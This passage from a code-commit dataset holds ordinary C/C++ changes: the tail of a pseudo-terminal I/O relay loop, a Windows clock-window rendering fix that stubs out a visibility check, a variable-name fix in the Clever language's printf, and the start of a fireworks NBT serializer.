{\n\t\t\tFD_ZERO(&readfds);\n\t\t\tFD_ZERO(&writefds);\n\t\t\tFD_ZERO(&exceptfds);\n\n\t\t\tFD_SET(0, &readfds);\n\t\t\tFD_SET(masterPty, &readfds);\n\n\t\t\tselect(masterPty + 1, &readfds, &writefds, &exceptfds, 0);\n\n\t\t\tif (FD_ISSET(masterPty, &readfds)) {\n\t\t\t\tchar buf;\n\t\t\t\tint r = read(masterPty, &buf, 1);\n\t\t\t\tif (r > 0) {\t\n\t\t\t\t\tint ret = write(1, &buf, 1);\n\t\t\t\t\tif (ret < 0) {\n\t\t\t\t\t\treset_pty_and_exit(0);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tkeepGoing = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (FD_ISSET(0, &readfds)) {\n\t\t\t\tchar buf;\n\t\t\t\tint r = read(0, &buf, 1);\n\t\t\t\tif (r > 0) {\t\n\t\t\t\t\tint ret = write(masterPty, &buf, 1);\n\t\t\t\t\tif (ret < 0) {\n\t\t\t\t\t\treset_pty_and_exit(0);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tkeepGoing = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tint status;\n\t\twaitpid(childpid, &status, 0);\t\n\t}\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"ClockWindow.h\"\n#include <vector>\n\nusing namespace Gdiplus;\n\n#ifdef _DEBUG\nstatic void SaveBitmap(Bitmap* bitmap)\n{\n\tCLSID guid;\n\t::CLSIDFromString(L\"{557CF406-1A04-11D3-9A73-0000F81EF32E}\", &guid);\n\tStatus saveStatus = bitmap->Save(L\"C:\\\\Users\\\\Hugo\\\\bitmap.png\", &guid);\n\tif (saveStatus != Status::Ok)\n\t{\n\t\tBeep(200, 100);\n\t\tBeep(200, 100);\n\t}\n}\n#endif\n\nstatic std::wstring TextTime(SYSTEMTIME& time, DWORD flag, LPCWSTR format = nullptr)\n{\n\tint textLength = ::GetTimeFormatEx(LOCALE_NAME_USER_DEFAULT, flag, &time, nullptr, nullptr, 0);\n\twchar_t* textBuffer = new wchar_t[textLength];\n\t::GetTimeFormatEx(LOCALE_NAME_USER_DEFAULT, flag, &time, nullptr, textBuffer, textLength);\n\tstd::wstring text(textBuffer);\n\tdelete textBuffer;\n\treturn text;\n}\n\nstatic std::wstring TextDate(SYSTEMTIME& time, DWORD flag, LPCWSTR format = nullptr)\n{\n\tint textLength = ::GetDateFormatEx(LOCALE_NAME_USER_DEFAULT, flag | DATE_AUTOLAYOUT, &time, format, nullptr, 0, nullptr);\n\twchar_t* textBuffer = new wchar_t[textLength];\n\t::GetDateFormatEx(LOCALE_NAME_USER_DEFAULT, flag | DATE_AUTOLAYOUT, &time, format, textBuffer, textLength, nullptr);\n\tstd::wstring text(textBuffer);\n\tdelete textBuffer;\n\treturn text;\n}\n\nvoid ClockWindow::RenderClickedState(Gdiplus::Graphics* graphics, int width, int height) const\n{\n\tRect stateRect(1, 0, width - 1, height);\n\tSolidBrush brush(Color(5, 255, 255, 255));\n\tgraphics->FillRectangle(&brush, stateRect);\n}\n\nvoid ClockWindow::RenderHighlight(Gdiplus::Graphics* graphics, int width, int height) const\n{\n\tint otherColorsCount = 1;\n\n\tColor centerBarColor = Color(192, 200, 200, 200);\n\tColor otherBarColors[] = { Color(0, 200, 200, 200) };\n\t\/\/ Draw left highlight bar...\n\tconst Rect leftHightlightRect(1, 0, 2, height);\n\tGraphicsPath leftHighlightPath;\n\tleftHighlightPath.AddRectangle(leftHightlightRect);\n\n\tPathGradientBrush leftHighlightBrush(&leftHighlightPath);\n\tleftHighlightBrush.SetCenterColor(centerBarColor);\n\tleftHighlightBrush.SetSurroundColors(otherBarColors, &otherColorsCount);\n\n\tgraphics->FillPath(&leftHighlightBrush, &leftHighlightPath);\n\n\t\/\/ ... and draw the right one...\n\tconst Rect rightHightlightRect(width - 3, 0, 2, height);\n\tGraphicsPath rightHighlightPath;\n\trightHighlightPath.AddRectangle(rightHightlightRect);\n\n\tPathGradientBrush rightHighlightBrush(&rightHighlightPath);\n\trightHighlightBrush.SetCenterColor(centerBarColor);\n\trightHighlightBrush.SetSurroundColors(otherBarColors, &otherColorsCount);\n\n\tgraphics->FillPath(&rightHighlightBrush, &rightHighlightPath);\n\n\t\/\/ ... and the blue highlight dot\n\tColor centerDotColor = Color(200, 177, 211, 255);\n\tColor otherDotColors[] = { Color(0, 255, 255, 255) };\n\tGraphicsPath dotPath;\n\tdotPath.AddEllipse(width \/ 3.f, height * 0.66f, width \/ 3.f, (REAL)height);\n\tPathGradientBrush dotBursh(&dotPath);\n\tdotBursh.SetCenterColor(centerDotColor);\n\tdotBursh.SetSurroundColors(otherDotColors, &otherColorsCount);\n\tgraphics->FillPath(&dotBursh, &dotPath);\n\n\tconst Rect dotLineRect(0, height - 1, width, 1);\n\tColor colors[] =\n\t{\n\t\totherDotColors[0],\n\t\tcenterDotColor,\n\t\totherDotColors[0]\n\t};\n\tREAL positions[] = {\n\t\t0.0f,\n\t\t0.5f,\n\t\t1.0f };\n\tLinearGradientBrush dotLineBrush(\n\t\tPoint(dotLineRect.X, dotLineRect.Y),\n\t\tPoint(dotLineRect.GetRight(), dotLineRect.GetBottom()),\n\t\tColor(255, 0, 0, 0),\n\t\tColor(255, 255, 255, 255));\n\tdotLineBrush.SetInterpolationColors(colors, positions, 3);\n\tgraphics->FillRectangle(&dotLineBrush, dotLineRect);\n}\n\nvoid ClockWindow::RenderTime(HDC context, int maxWidth, int maxHeight) const\n{\n\t\/\/ Get the current system font...\n\tNONCLIENTMETRICS metrics;\n\tmetrics.cbSize = sizeof(NONCLIENTMETRICS);\n\t::SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(NONCLIENTMETRICS), &metrics, 0);\n\n\tHFONT font = ::CreateFontIndirect(&metrics.lfStatusFont);\n\tHFONT oldFont = (HFONT)::SelectObject(context, font);\n\tint oldBkMode = ::SetBkMode(context, TRANSPARENT);\n\tint oldTextColor = ::SetTextColor(context, GetSysColor(COLOR_3DFACE));\n\n\tstd::wstring timeText;\n\t{\n\t\tRECT textRect;\n\t\tint textRectWidth;\n\n\t\tSYSTEMTIME time;\n\t\tGetLocalTime(&time);\n\n\t\tstd::wstring dateText;\n\t\tstd::wstring dayText;\n\n\t\ttimeText = TextTime(time, TIME_NOSECONDS);\n\t\tif (maxHeight >= 36)\n\t\t{\n\t\t\tif (maxHeight >= 53)\n\t\t\t{\n\t\t\t\tdayText = TextDate(time, 0, L\"dddd\");\n\t\t\t\ttextRect = { 0, 0, maxWidth, maxHeight };\n\n\t\t\t\tstd::vector<wchar_t> textBuffer(dayText.begin(), dayText.end());\n\t\t\t\ttextBuffer.push_back('\\0');\n\t\t\t\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CALCRECT | DT_CENTER | DT_NOCLIP, nullptr);\n\t\t\t\ttextRectWidth = textRect.right - textRect.left;\n\t\t\t\tif (textRectWidth <= maxWidth)\n\t\t\t\t{\n\t\t\t\t\ttimeText += L\"\\n\";\n\t\t\t\t\ttimeText += dayText;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdateText = TextDate(time, DATE_SHORTDATE);\n\t\t\ttextRect = { 0, 0, maxWidth, maxHeight };\n\n\t\t\tstd::vector<wchar_t> textBuffer(dayText.begin(), dayText.end());\n\t\t\ttextBuffer.push_back('\\0');\n\t\t\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CALCRECT | DT_CENTER | DT_NOCLIP, nullptr);\n\t\t\ttextRectWidth = textRect.right - textRect.left;\n\t\t\tif (textRectWidth <= maxWidth)\n\t\t\t{\n\t\t\t\ttimeText += L\"\\n\";\n\t\t\t\ttimeText += dateText;\n\t\t\t}\n\t\t}\n\t}\n\n\tRECT textRect = { 0, 0, maxWidth, maxHeight };\n\n\tstd::vector<wchar_t> textBuffer(timeText.begin(), timeText.end());\n\ttextBuffer.push_back('\\0');\n\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CALCRECT | DT_CENTER | DT_NOCLIP, nullptr);\n\n\t\/\/ move text rect to (0,0)\n\t::OffsetRect(&textRect, -textRect.left, -textRect.top);\n\t\/\/ center text rect\n\t::OffsetRect(&textRect, (int)((maxWidth - textRect.right) \/ 2.0), (int)((maxHeight - textRect.bottom) \/ 2.0));\n\t\/\/ draw\n\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CENTER | DT_NOCLIP, nullptr);\n\n\t::SetTextColor(context, oldTextColor);\n\t::SetBkMode(context, oldBkMode);\n\t::SelectObject(context, oldFont);\n\t::DeleteObject(font);\n}\n\nvoid ClockWindow::RenderHighlighting(Graphics* graphics, int width, int height) const\n{\n\tSolidBrush burshClear(Color::Transparent);\n\tgraphics->FillRectangle(&burshClear, 0, 0, width, height);\n\tif (isClicked)\n\t{\n\t\tRenderClickedState(graphics, width, height);\n\t}\n\tif (isHighlighted)\n\t{\n\t\tRenderHighlight(graphics, width, height);\n\t}\n}\n\nbool ClockWindow::IsVisible(const RECT& clientRect)\n{\n\tHDC parent = ::GetDC(this->GetParent());\n\tRECT clip;\n\tint result = ::GetClipBox(parent, &clip);\n\t::ReleaseDC(this->GetParent(), parent);\n\n\tbool isVisible;\n\tswitch (result)\n\t{\n\tcase SIMPLEREGION:\n\tcase COMPLEXREGION:\n\t\t{\n\t\t\tOUTPUT_DEBUG_STRING(L\"Clock is partially or fully visible\");\n\t\t\tRECT inParentRect(clientRect);\n\t\t\tMapWindowPoints(this->GetParent(), &inParentRect);\n\n\t\t\tRECT intersectRect;\n\t\t\t::IntersectRect(&intersectRect, &clip, &inParentRect);\n\n\t\t\tisVisible = !::IsRectEmpty(&intersectRect);\n\t\t}\n\t\tbreak;\n\tcase NULLREGION:\n\tdefault:\n\t\tOUTPUT_DEBUG_STRING(L\"Clock is completly covered\");\n\t\tisVisible = false;\n\t\tbreak;\n\t}\n\n\tif (!isVisible)\n\t{\n\t\tOUTPUT_DEBUG_STRING(L\"Clock not visible, ignoring refresh request.\");\n\t}\n\treturn isVisible;\n}\n\nvoid ClockWindow::Refresh(bool force)\n{\n\tOUTPUT_DEBUG_STRING(L\"Clock refresh requested. Force =\", force);\n\n\tRECT clientRect;\n\tGetClientRect(&clientRect);\n\n\tif (!force && !IsVisible(clientRect))\n\t{\n\t\treturn;\n\t}\n\n\tint width = clientRect.right - clientRect.left;\n\tint height = clientRect.bottom - clientRect.top;\n\n\tBitmap* bitmap = new Bitmap(width, height, PixelFormat32bppPARGB);\n\tStatus status = bitmap->GetLastStatus();\n\tif (status != Status::Ok)\n\t{\n\t\tdelete bitmap;\n\t\treturn;\n\t}\n\n\tGraphics* g = Graphics::FromImage(bitmap);\n\tRenderHighlighting(g, width, height);\n\tdelete g;\n\n\tHBITMAP hbitmap;\n\tbitmap->GetHBITMAP(NULL, &hbitmap);\n\n\tHDC hdcScreen = ::GetDC(nullptr);\n\tHDC hDC = ::CreateCompatibleDC(hdcScreen);\n\tHBITMAP hbitmapOld = (HBITMAP) ::SelectObject(hDC, hbitmap);\n\n\tRenderTime(hDC, width, height);\n\n\tSIZE sizeWnd = { width, height };\n\tPOINT ptSrc = { 0, 0 };\n\tBLENDFUNCTION blend = { 0 };\n\tblend.BlendOp = AC_SRC_OVER;\n\tblend.SourceConstantAlpha = 255;\n\tblend.AlphaFormat = AC_SRC_ALPHA;\n\t::UpdateLayeredWindow(this->m_hWnd, hdcScreen, nullptr, &sizeWnd, hDC, &ptSrc, 0, &blend, ULW_ALPHA);\n\n\t::SelectObject(hDC, hbitmapOld);\n\t::DeleteObject(hbitmap);\n\t::DeleteDC(hDC);\n\t::ReleaseDC(NULL, hdcScreen);\n\n\tdelete bitmap;\n\n\tOUTPUT_DEBUG_STRING(L\"Clock has been refreshed.\");\n}\n<commit_msg>dont check visibility... doesnt work<commit_after>#include \"ClockWindow.h\"\n#include <vector>\n\nusing namespace Gdiplus;\n\n#ifdef _DEBUG\nstatic void SaveBitmap(Bitmap* bitmap)\n{\n\tCLSID guid;\n\t::CLSIDFromString(L\"{557CF406-1A04-11D3-9A73-0000F81EF32E}\", &guid);\n\tStatus saveStatus = bitmap->Save(L\"C:\\\\Users\\\\Hugo\\\\bitmap.png\", &guid);\n\tif (saveStatus != Status::Ok)\n\t{\n\t\tBeep(200, 100);\n\t\tBeep(200, 100);\n\t}\n}\n#endif\n\nstatic std::wstring TextTime(SYSTEMTIME& time, DWORD flag, LPCWSTR format = nullptr)\n{\n\tint textLength = ::GetTimeFormatEx(LOCALE_NAME_USER_DEFAULT, flag, &time, nullptr, nullptr, 0);\n\twchar_t* textBuffer = new wchar_t[textLength];\n\t::GetTimeFormatEx(LOCALE_NAME_USER_DEFAULT, flag, &time, nullptr, textBuffer, textLength);\n\tstd::wstring text(textBuffer);\n\tdelete textBuffer;\n\treturn text;\n}\n\nstatic std::wstring TextDate(SYSTEMTIME& time, DWORD flag, LPCWSTR format = nullptr)\n{\n\tint textLength = ::GetDateFormatEx(LOCALE_NAME_USER_DEFAULT, flag | DATE_AUTOLAYOUT, &time, format, nullptr, 0, nullptr);\n\twchar_t* textBuffer = new wchar_t[textLength];\n\t::GetDateFormatEx(LOCALE_NAME_USER_DEFAULT, flag | DATE_AUTOLAYOUT, &time, format, textBuffer, textLength, nullptr);\n\tstd::wstring text(textBuffer);\n\tdelete textBuffer;\n\treturn text;\n}\n\nvoid ClockWindow::RenderClickedState(Gdiplus::Graphics* graphics, int width, int height) const\n{\n\tRect stateRect(1, 0, width - 1, height);\n\tSolidBrush brush(Color(5, 255, 255, 255));\n\tgraphics->FillRectangle(&brush, stateRect);\n}\n\nvoid ClockWindow::RenderHighlight(Gdiplus::Graphics* graphics, int width, int height) const\n{\n\tint otherColorsCount = 1;\n\n\tColor centerBarColor = Color(192, 200, 200, 200);\n\tColor otherBarColors[] = { Color(0, 200, 200, 200) };\n\t\/\/ Draw left highlight bar...\n\tconst Rect leftHightlightRect(1, 0, 2, height);\n\tGraphicsPath leftHighlightPath;\n\tleftHighlightPath.AddRectangle(leftHightlightRect);\n\n\tPathGradientBrush leftHighlightBrush(&leftHighlightPath);\n\tleftHighlightBrush.SetCenterColor(centerBarColor);\n\tleftHighlightBrush.SetSurroundColors(otherBarColors, &otherColorsCount);\n\n\tgraphics->FillPath(&leftHighlightBrush, &leftHighlightPath);\n\n\t\/\/ ... and draw the right one...\n\tconst Rect rightHightlightRect(width - 3, 0, 2, height);\n\tGraphicsPath rightHighlightPath;\n\trightHighlightPath.AddRectangle(rightHightlightRect);\n\n\tPathGradientBrush rightHighlightBrush(&rightHighlightPath);\n\trightHighlightBrush.SetCenterColor(centerBarColor);\n\trightHighlightBrush.SetSurroundColors(otherBarColors, &otherColorsCount);\n\n\tgraphics->FillPath(&rightHighlightBrush, &rightHighlightPath);\n\n\t\/\/ ... and the blue highlight dot\n\tColor centerDotColor = Color(200, 177, 211, 255);\n\tColor otherDotColors[] = { Color(0, 255, 255, 255) };\n\tGraphicsPath dotPath;\n\tdotPath.AddEllipse(width \/ 3.f, height * 0.66f, width \/ 3.f, (REAL)height);\n\tPathGradientBrush dotBursh(&dotPath);\n\tdotBursh.SetCenterColor(centerDotColor);\n\tdotBursh.SetSurroundColors(otherDotColors, &otherColorsCount);\n\tgraphics->FillPath(&dotBursh, &dotPath);\n\n\tconst Rect dotLineRect(0, height - 1, width, 1);\n\tColor colors[] =\n\t{\n\t\totherDotColors[0],\n\t\tcenterDotColor,\n\t\totherDotColors[0]\n\t};\n\tREAL positions[] = {\n\t\t0.0f,\n\t\t0.5f,\n\t\t1.0f };\n\tLinearGradientBrush dotLineBrush(\n\t\tPoint(dotLineRect.X, dotLineRect.Y),\n\t\tPoint(dotLineRect.GetRight(), dotLineRect.GetBottom()),\n\t\tColor(255, 0, 0, 0),\n\t\tColor(255, 255, 255, 255));\n\tdotLineBrush.SetInterpolationColors(colors, positions, 3);\n\tgraphics->FillRectangle(&dotLineBrush, dotLineRect);\n}\n\nvoid ClockWindow::RenderTime(HDC context, int maxWidth, int maxHeight) const\n{\n\t\/\/ Get the current system font...\n\tNONCLIENTMETRICS metrics;\n\tmetrics.cbSize = sizeof(NONCLIENTMETRICS);\n\t::SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(NONCLIENTMETRICS), &metrics, 0);\n\n\tHFONT font = ::CreateFontIndirect(&metrics.lfStatusFont);\n\tHFONT oldFont = (HFONT)::SelectObject(context, font);\n\tint oldBkMode = ::SetBkMode(context, TRANSPARENT);\n\tint oldTextColor = ::SetTextColor(context, GetSysColor(COLOR_3DFACE));\n\n\tstd::wstring timeText;\n\t{\n\t\tRECT textRect;\n\t\tint textRectWidth;\n\n\t\tSYSTEMTIME time;\n\t\tGetLocalTime(&time);\n\n\t\tstd::wstring dateText;\n\t\tstd::wstring dayText;\n\n\t\ttimeText = TextTime(time, TIME_NOSECONDS);\n\t\tif (maxHeight >= 36)\n\t\t{\n\t\t\tif (maxHeight >= 53)\n\t\t\t{\n\t\t\t\tdayText = TextDate(time, 0, L\"dddd\");\n\t\t\t\ttextRect = { 0, 0, maxWidth, maxHeight };\n\n\t\t\t\tstd::vector<wchar_t> textBuffer(dayText.begin(), dayText.end());\n\t\t\t\ttextBuffer.push_back('\\0');\n\t\t\t\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CALCRECT | DT_CENTER | DT_NOCLIP, nullptr);\n\t\t\t\ttextRectWidth = textRect.right - textRect.left;\n\t\t\t\tif (textRectWidth <= maxWidth)\n\t\t\t\t{\n\t\t\t\t\ttimeText += L\"\\n\";\n\t\t\t\t\ttimeText += dayText;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdateText = TextDate(time, DATE_SHORTDATE);\n\t\t\ttextRect = { 0, 0, maxWidth, maxHeight };\n\n\t\t\tstd::vector<wchar_t> textBuffer(dayText.begin(), dayText.end());\n\t\t\ttextBuffer.push_back('\\0');\n\t\t\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CALCRECT | DT_CENTER | DT_NOCLIP, nullptr);\n\t\t\ttextRectWidth = textRect.right - textRect.left;\n\t\t\tif (textRectWidth <= maxWidth)\n\t\t\t{\n\t\t\t\ttimeText += L\"\\n\";\n\t\t\t\ttimeText += dateText;\n\t\t\t}\n\t\t}\n\t}\n\n\tRECT textRect = { 0, 0, maxWidth, maxHeight };\n\n\tstd::vector<wchar_t> textBuffer(timeText.begin(), timeText.end());\n\ttextBuffer.push_back('\\0');\n\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CALCRECT | DT_CENTER | DT_NOCLIP, nullptr);\n\n\t\/\/ move text rect to (0,0)\n\t::OffsetRect(&textRect, -textRect.left, -textRect.top);\n\t\/\/ center text rect\n\t::OffsetRect(&textRect, (int)((maxWidth - textRect.right) \/ 2.0), (int)((maxHeight - textRect.bottom) \/ 2.0));\n\t\/\/ draw\n\t::DrawTextEx(context, textBuffer.data(), -1, &textRect, DT_CENTER | DT_NOCLIP, nullptr);\n\n\t::SetTextColor(context, oldTextColor);\n\t::SetBkMode(context, oldBkMode);\n\t::SelectObject(context, oldFont);\n\t::DeleteObject(font);\n}\n\nvoid ClockWindow::RenderHighlighting(Graphics* graphics, int width, int height) const\n{\n\tSolidBrush burshClear(Color::Transparent);\n\tgraphics->FillRectangle(&burshClear, 0, 0, width, height);\n\tif (isClicked)\n\t{\n\t\tRenderClickedState(graphics, width, height);\n\t}\n\tif (isHighlighted)\n\t{\n\t\tRenderHighlight(graphics, width, height);\n\t}\n}\n\nbool ClockWindow::IsVisible(const RECT& clientRect)\n{\n\treturn true;\n}\n\nvoid ClockWindow::Refresh(bool force)\n{\n\tOUTPUT_DEBUG_STRING(L\"Clock refresh requested. Force =\", force);\n\n\tRECT clientRect;\n\tGetClientRect(&clientRect);\n\n\tif (!force && !IsVisible(clientRect))\n\t{\n\t\treturn;\n\t}\n\n\tint width = clientRect.right - clientRect.left;\n\tint height = clientRect.bottom - clientRect.top;\n\n\tBitmap* bitmap = new Bitmap(width, height, PixelFormat32bppPARGB);\n\tStatus status = bitmap->GetLastStatus();\n\tif (status != Status::Ok)\n\t{\n\t\tdelete bitmap;\n\t\treturn;\n\t}\n\n\tGraphics* g = Graphics::FromImage(bitmap);\n\tRenderHighlighting(g, width, height);\n\tdelete g;\n\n\tHBITMAP hbitmap;\n\tbitmap->GetHBITMAP(NULL, &hbitmap);\n\n\tHDC hdcScreen = ::GetDC(nullptr);\n\tHDC hDC = ::CreateCompatibleDC(hdcScreen);\n\tHBITMAP hbitmapOld = (HBITMAP) ::SelectObject(hDC, hbitmap);\n\n\tRenderTime(hDC, width, height);\n\n\tSIZE sizeWnd = { width, height };\n\tPOINT ptSrc = { 0, 0 };\n\tBLENDFUNCTION blend = { 0 };\n\tblend.BlendOp = AC_SRC_OVER;\n\tblend.SourceConstantAlpha = 255;\n\tblend.AlphaFormat = AC_SRC_ALPHA;\n\t::UpdateLayeredWindow(this->m_hWnd, hdcScreen, nullptr, &sizeWnd, hDC, &ptSrc, 0, &blend, ULW_ALPHA);\n\n\t::SelectObject(hDC, hbitmapOld);\n\t::DeleteObject(hbitmap);\n\t::DeleteDC(hDC);\n\t::ReleaseDC(NULL, hdcScreen);\n\n\tdelete bitmap;\n\n\tOUTPUT_DEBUG_STRING(L\"Clock has been refreshed.\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Clever programming language\n * Copyright (c) 2011-2012 Clever Team\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <iostream>\n#include <cstdio>\n#include <cstdlib>\n#include \"core\/cthread.h\"\n#include \"core\/value.h\"\n#include \"types\/function.h\"\n#include \"core\/pkgmanager.h\"\n#include \"modules\/std\/io\/io.h\"\n\nnamespace clever { namespace packages { namespace std {\n\nnamespace io {\n\n\/\/ print(object a, [ ...])\n\/\/ Prints the object values without trailing newline\nstatic CLEVER_FUNCTION(print) {\n\tfor (size_t i = 0, size = args.size(); i < size; ++i) {\n\t\targs[i]->dump();\n\t}\n}\n\n\/\/ println(object a, [ ...])\n\/\/ Prints the object values with trailing newline\nstatic CLEVER_FUNCTION(println) {\n\tfor (size_t i = 0, size = args.size(); i < size; ++i) {\n\t\targs[i]->dump();\n\t\t::std::cout << '\\n';\n\t}\n}\n\n\/\/ printf(string format, [...])\n\/\/ Prints and formats a string to standard output without trailing newline\nstatic CLEVER_FUNCTION(printf) {\n\tconst CString *format = args[0]->getStr();\n\tif (format) {\n\t\tconst char *delim = \"{}\";\n\t\tchar *tokenize = (char*) format->c_str();\t\t\n#ifndef _WIN32\n\t\tchar *tokenized;\n\t\tchar *point = strtok_r(tokenize, delim, &tokenized);\n#else\n\t\tchar *pointer = strtok(tokenize, delim);\n#endif\n\t\tif (point) {\n\t\t\tdo {\n\t\t\t\tunsigned int arg = atoi(point);\n\t\t\t\tif (arg) {\n\t\t\t\t\tif (args.size() > arg) {\n\t\t\t\t\t\targs[arg]->dump();\n\t\t\t\t\t}\n\t\t\t\t} else ::std::cout << point;\n#ifndef _WIN32\n\t\t\t} while((point = strtok_r(NULL, delim, &tokenized)));\n#else\n\t\t\t} while((point = strtok(NULL, delim)));\n#endif\n\t\t}\n\t}\n}\n\n} \/\/ clever::packages::std::io\n\n\/\/\/ Initializes Standard module\nCLEVER_MODULE_INIT(IOModule) {\n\tusing namespace io;\n\n\tBEGIN_DECLARE_FUNCTION();\n\n\taddFunction(new Function(\"print\",       &CLEVER_FUNC_NAME(print)));\n\taddFunction(new Function(\"println\",     &CLEVER_FUNC_NAME(println)));\n\taddFunction(new Function(\"printf\",\t\t&CLEVER_FUNC_NAME(printf)));\n\tEND_DECLARE();\n}\n\n}}} \/\/ clever::packages::std\n<commit_msg>stupid mistake<commit_after>\/**\n * Clever programming language\n * Copyright (c) 2011-2012 Clever Team\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <iostream>\n#include <cstdio>\n#include <cstdlib>\n#include \"core\/cthread.h\"\n#include \"core\/value.h\"\n#include \"types\/function.h\"\n#include \"core\/pkgmanager.h\"\n#include \"modules\/std\/io\/io.h\"\n\nnamespace clever { namespace packages { namespace std {\n\nnamespace io {\n\n\/\/ print(object a, [ ...])\n\/\/ Prints the object values without trailing newline\nstatic CLEVER_FUNCTION(print) {\n\tfor (size_t i = 0, size = args.size(); i < size; ++i) {\n\t\targs[i]->dump();\n\t}\n}\n\n\/\/ println(object a, [ ...])\n\/\/ Prints the object values with trailing newline\nstatic CLEVER_FUNCTION(println) {\n\tfor (size_t i = 0, size = args.size(); i < size; ++i) {\n\t\targs[i]->dump();\n\t\t::std::cout << '\\n';\n\t}\n}\n\n\/\/ printf(string format, [...])\n\/\/ Prints and formats a string to standard output without trailing newline\nstatic CLEVER_FUNCTION(printf) {\n\tconst CString *format = args[0]->getStr();\n\tif (format) {\n\t\tconst char *delim = \"{}\";\n\t\tchar *tokenize = (char*) format->c_str();\t\t\n#ifndef _WIN32\n\t\tchar *tokenized;\n\t\tchar *point = strtok_r(tokenize, delim, &tokenized);\n#else\n\t\tchar *point = strtok(tokenize, delim);\n#endif\n\t\tif (point) {\n\t\t\tdo {\n\t\t\t\tunsigned int arg = atoi(point);\n\t\t\t\tif (arg) {\n\t\t\t\t\tif (args.size() > arg) {\n\t\t\t\t\t\targs[arg]->dump();\n\t\t\t\t\t}\n\t\t\t\t} else ::std::cout << point;\n#ifndef _WIN32\n\t\t\t} while((point = strtok_r(NULL, delim, &tokenized)));\n#else\n\t\t\t} while((point = strtok(NULL, delim)));\n#endif\n\t\t}\n\t}\n}\n\n} \/\/ clever::packages::std::io\n\n\/\/\/ Initializes Standard module\nCLEVER_MODULE_INIT(IOModule) {\n\tusing namespace io;\n\n\tBEGIN_DECLARE_FUNCTION();\n\n\taddFunction(new Function(\"print\",       &CLEVER_FUNC_NAME(print)));\n\taddFunction(new Function(\"println\",     &CLEVER_FUNC_NAME(println)));\n\taddFunction(new Function(\"printf\",\t\t&CLEVER_FUNC_NAME(printf)));\n\tEND_DECLARE();\n}\n\n}}} \/\/ clever::packages::std\n<|endoftext|>"}
{"text":"<commit_before>﻿\n#include \"Globals.h\"\n#include \"FireworksSerializer.h\"\n#include \"WorldStorage\/FastNBT.h\"\n\n\n\n\n\nvoid cFireworkItem::WriteToNBTCompound(const cFireworkItem & a_FireworkItem, cFastNBTWriter & a_Writer, const ENUM_ITEM_ID a_Type)\n{\n\tswitch (a_Type)\n\t{\n\t\tcase E_ITEM_FIREWORK_ROCKET:\n\t\t{\n\t\t\ta_Writer.BeginCompound(\"Fireworks\");\n\t\t\ta_Writer.AddByte(\"Flight\", a_FireworkItem.m_FlightTimeInTicks \/ 20);\n\t\t\ta_Writer.BeginList(\"Explosions\", TAG_Compound);\n\t\t\ta_Writer.BeginCompound(\"\");\n\t\t\ta_Writer.AddByte(\"Flicker\", a_FireworkItem.m_HasFlicker);\n\t\t\ta_Writer.AddByte(\"Trail\", a_FireworkItem.m_HasTrail);\n\t\t\ta_Writer.AddByte(\"Type\", a_FireworkItem.m_Type);\n\t\t\ta_Writer.AddIntArray(\"Colors\", &(a_FireworkItem.m_Colours[0]), a_FireworkItem.m_Colours.size());\n\t\t\ta_Writer.AddIntArray(\"FadeColors\", &(a_FireworkItem.m_FadeColours[0]), a_FireworkItem.m_FadeColours.size());\n\t\t\ta_Writer.EndCompound();\n\t\t\ta_Writer.EndList();\n\t\t\ta_Writer.EndCompound();\n\t\t\tbreak;\n\t\t}\n\t\tcase 